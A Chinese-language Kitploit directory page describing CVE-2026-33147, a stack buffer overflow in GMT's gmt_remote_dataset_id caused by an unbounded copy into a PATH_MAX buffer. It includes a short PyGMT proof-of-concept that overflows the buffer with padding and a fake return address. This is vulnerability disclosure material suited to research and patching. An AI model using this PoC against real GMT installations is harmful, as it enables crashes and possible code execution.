Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-33147 — 针对 GMT 的 gmt_remote_dataset_id 中基于栈的缓冲区溢出漏洞的概念验证利用,演示了通过精心构造的数据集名称实现崩溃及潜在代码执行。 | Kitploit
工具/GitHubGitHub/redyank/cve-2026-33147
漏洞分析漏洞利用二进制利用
GitHubredyank/cve-2026-33147

CVE-2026-33147

针对 GMT 的 gmt_remote_dataset_id 中基于栈的缓冲区溢出漏洞的概念验证利用,演示了通过精心构造的数据集名称实现崩溃及潜在代码执行。

查看仓库
14个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-33147

CVE-2026-33147(gmt_remote_dataset_id 中的基于栈的缓冲区溢出)

摘要

在 src/gmt_remote.c 的 gmt_remote_dataset_id 函数中发现了一个基于栈的缓冲区溢出漏洞。当将特制的超长字符串作为数据集标识符(例如,通过 which 模块)传入时,会导致程序崩溃或可能被利用执行任意代码。

详细信息

该漏洞是由于在将用户可控的数据集名称复制到固定大小的栈缓冲区 file[PATH_MAX] 时,不安全地使用了 strcpy(或类似的无界字符串操作)所致。

  • 易受攻击的函数:gmt_remote_dataset_id
  • 易受攻击的文件:src/gmt_remote.c
  • 根本原因:在复制到栈缓冲区之前缺少输入长度验证。

当输入超过 PATH_MAX(通常为 4096 字节)时,会覆盖栈帧,包括返回地址。这一点已通过 AddressSanitizer(ASan)确认,其报告了 stack-buffer-overflow 错误。

PoC

以下使用 PyGMT 的 Python 脚本可复现崩溃:

root@kitploit:~
import struct
from pygmt.clib import Session

with Session() as lib:
    # 用于溢出栈缓冲区的载荷
    padding = "A" * 4096
    fake_ret = struct.pack("<Q", 0x4141414141414141) * 100
    payload = padding + fake_ret.decode("latin-1")
    
    # 通过 'which' 模块触发溢出
    lib.call_module("which", [payload])

影响

这是一个内存安全漏洞。

  • 受影响对象:任何通过 C API 或 PyGMT 等高级接口使用 GMT 并处理不可信数据集名称的用户或应用程序。
  • 后果:至少会导致程序崩溃,造成拒绝服务(DoS)。在某些环境中,可能被利用执行任意代码。
下载工具